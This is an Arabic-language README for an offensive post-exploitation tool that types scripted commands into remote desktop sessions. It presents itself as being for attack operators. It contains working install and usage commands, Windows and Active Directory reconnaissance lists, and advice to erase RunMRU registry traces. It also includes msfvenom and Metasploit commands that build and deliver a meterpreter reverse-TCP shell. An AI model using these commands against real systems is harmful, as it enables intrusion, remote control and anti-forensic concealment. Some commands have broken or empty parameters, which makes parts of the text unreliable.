
نص برمجي لأتمتة ضغطات المفاتيح عبر برنامج سطح مكتب رسومي.
نص برمجي لأتمتة ضغطات المفاتيح عبر جلسة سطح مكتب عن بُعد نشطة، يساعد المشغلين الهجوميين بالاقتران مع تقنيات العيش على الأرض. كل الفضل يعود إلى nopernik لجعل ذلك ممكنًا، لذا أخذت على عاتقي تحسينه. أردت شيئًا يساعد خلال مرحلة ما بعد الاستغلال عند تنفيذ الأوامر عبر سطح مكتب عن بُعد. كما كان من الممكن إنشاء مشروع SCPA لجمع الموارد بطريقة منظمة.
قم بتثبيت بقية التبعيات وفقًا لمدير الحزم الخاص بك.``` $ sudo apt install -y xfreerdp-x11 remmina xdotool
$ sudo dnf install -y xdotool freerdp-2 remmina
$ sudo pacman -S freerdp remmina xdotool
$ sudo emerge xwayland freerdp remmina xdotool
$ sudo nix-env -iA nixpkgs.xwayland nixpkgs.xdotool nixpkgs.freerdp nixpkgs.remmina
### الإعداد
قم بتثبيت البرنامج على النظام وإنشاء `rks` كرابط رمزي لـ `remotekeystrokes`. سيعمل هذا كاسم مستعار للأمر.```
$ sudo wget -O /usr/local/src/remotekeystrokes.sh https://raw.githubusercontent.com/U53RW4R3/RemoteKeyStrokes/main/remotekeystrokes.sh && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/rks && \
sudo chmod 755 /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes /usr/local/bin/rks
$ remotekeystrokes -h Usage: remotekeystrokes
Flags:
COMMON OPTIONS: -c, --command <command | file> Specify a command or a file contains commands to execute
-p, --platform <operating_system> Specify the operating system ("windows" is
set by default if not specified)
-w, --windowname <window_name> Specify the window name to focus on the
active window ("freerdp" is set by default
if not specified)
-h, --help Display this help message
UPLOAD FILES: -i, --input <input_file> Specify the local input file to transfer -o, --output <output_file> Specify the remote output file to transfer
METHODS: -m, --method Specify a method. For command execution method "none" is set by default if not specified. For file transfer "pwshb64" is set by default if not specified. Other available methods are: "elevate", "persistence", "antiforensics", and "mayhem"
-s, --submethod <submethod> Specify a submethod from a method (applies
with -m flag)
-a, --action <action> Specify an action from a method and/or
submethod (applies with -m and/or -s flag)
-e, --evasion <evasion> Specify an evasion method for uploading files
(only works for "pwshb64")
## Usage
### 0x00 - المصادقة عن بُعد
#### الرموز
- علامة الدولار (`$`) تشير إلى موجه shell في يونكس بصلاحيات مستخدم عادية، وتتضمن الأوامر.
- الأقواس الزاوية (`<>`) تعني المعاملات الإجبارية.
- الأقواس المربعة (`[]`) تعني المعاملات الاختيارية إذا لم يكن مطلوبًا تحديدها.
#### RDP
لمصادقة أنظمة التشغيل الحديثة، حدد العلامة إما لفرض المصادقة كـ TLS `/sec:tls` أو المصادقة كـ NLA `/sec:nla`.```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>]
لمصادقة أنظمة التشغيل القديمة، حدد العلم /sec:rdp لفرض المصادقة القديمة.```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:rdp [/d:"<domain_name>"] /u:"" /p:"" /v::[]
#### VNC
للمصادقة عن بُعد على جهاز VNC.```
$ remmina -c vnc://<username>:<password>@<IP>
$ ssh [-p ] @
#### Telnet```
$ telnet <IP> [PORT]
لاستخدام remotekeystrokes (أو الأمر المستعار rks) عند تنفيذ الأوامر على جهاز ويندوز الهدف بجلسة عن بُعد موثقة. قبل تنفيذها، يجب التنقل باستخدام اسم النافذة (-w)، وبشكل افتراضي سيبحث عن FreeRDP عند استخدام xfreerdp. عند استهداف أنظمة تستخدم برنامج دخول عن بُعد مختلف، تأكد من تحديد اسم النافذة. استخدم العلم -c لإصدار الأوامر. يمكنك أيضًا إعداد ملف نصي لإدراج الأوامر وسيقرأها واحدًا تلو الآخر. سيتحقق العلم مما إذا كان النص سلسلة أم ملفًا.
بالنسبة لبرامج سطح المكتب البعيد الرسومية مثل FreeRDP وRemmina وبرامج الطرف الثالث الأخرى. على عكس جلسات الطرفية البعيدة مثل telnet و ssh. يجب توجيه المؤشر إلى تطبيق نشط داخل الجهاز الهدف. على سبيل المثال، في بيئة ويندوز يجب فتح موجه أوامر (cmd.exe) أو باورشيل (powershell.exe). من الممكن لويندوز فتح البرامج باستخدام مربع حوار (-m dialogbox) للتشغيل السريع. تأكد من مسح الآثار من إدخال السجل عند التنفيذ الأولي بهذه الطريقة. يقع في HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. سترى أمثلة على كيفية تنفيذ إجراءات هجومية سريعة باستخدام تقنيات العيش على الأرض (LotL) فقط.
تعداد الجهاز المحلي.``` $ cat recon_local_enum_cmds.txt whoami /all net user net localgroup Administrators ipconfig /all systeminfo
$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!
$ rks -c recon_local_enum_cmds.txt [*] Executing commands... [+] Task completed!
للتنفيذ في أمر واحد. هذا موجز خاصة عند الاستخدام مع مربع حوار.```
$ rks -c "cmd.exe /k \"whoami /all & net user & net localgroup Administrators & ipconfig /all & systeminfo\"" -m dialogbox
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!
تعداد Active directory.``` $ cat recon_ad_enum_cmds.txt net user /domain net group "Domain Admins" /domain net group "Enterprise Admins" /domain net group "Domain Computers" /domain
$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!
$ rks -c recon_ad_enum_cmds.txt [*] Executing commands... [+] Task completed!
للتنفيذ في أمر واحد. هذا موجز خاصة عند الاستخدام مع مربع حوار.```
$ rks -c "cmd.exe /k \"net user /domain & net group \"Domain Admins\" /domain & net group \"Enterprise Admins\" /domain & net group \"Domain Computers\" /domain\""
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!
تعداد الجهاز المحلي (TODO)``` $ cat recon_local_enum_cmdlets.txt
$ rks -c "powershell.exe" -m dialogbox
$ rks -c recon_local_enum_cmdlets.txt
Active directory enumeration (TODO)```
$ cat recon_ad_enum_cmdlets.txt
$ rks -c "powershell.exe" -m dialogbox
$ rks -c recon_ad_enum_cmdlets.txt
قم بتنفيذ الحمولة أثناء قراءة محتويات الباورشيل.``` $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f psh -o payload.ps1
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; run"
$ rks -c "powershell.exe" -m dialogbox
$ rks -c payload.ps1
نفذ حمولة باورشيل في سطر واحد باستخدام وحدة الاستغلال `exploit/multi/script/web_delivery` من إطار `metasploit-framework`.```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"
$ rks -c "cmd.exe" -m dialogbox